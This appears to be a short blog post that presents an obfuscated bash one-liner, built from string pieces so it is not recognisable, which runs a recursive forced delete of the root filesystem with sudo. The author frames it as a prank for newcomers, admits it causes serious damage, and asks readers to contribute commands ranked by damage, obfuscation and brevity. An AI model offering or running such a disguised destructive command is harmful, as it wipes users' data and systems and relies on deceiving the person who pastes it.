Here is my favorite bash script which can be used to teach noobs about bash syntax, man pages and the importance of backup at the same time:
s="r"; d="$s"m; f="$s"f; sudo $($d -$f /)
If not on Ubuntu, just get rid of sudo and tell people to run it as root. Oh, and if you copied and pasted this into your terminal to try what it does, I hope you backed up recently. I’m guessing it probably won’t delete everything (there would be some access violations and stuff) but it will probably do enough damage for you to hate me for the rest of your life.
Oh, and it won’t work on Solaris 10. I guess someone at Sun fell for some incarnation of this very trick at some point. :P
Btw, has anyone ever killed a system this way? What is the most damage you ever did to a linux system by issuing a reckless command as root?
Also, can you beat my denoobization script? Time to show your true BOFH skills. Points will be given for the magnitude of damage it causes, obfuscation and brevity. Btw, you should be able to copy and paste it into the terminal as a single line.
[tags]linux, rm, rm -rf, bofh, noob, unix[/tags]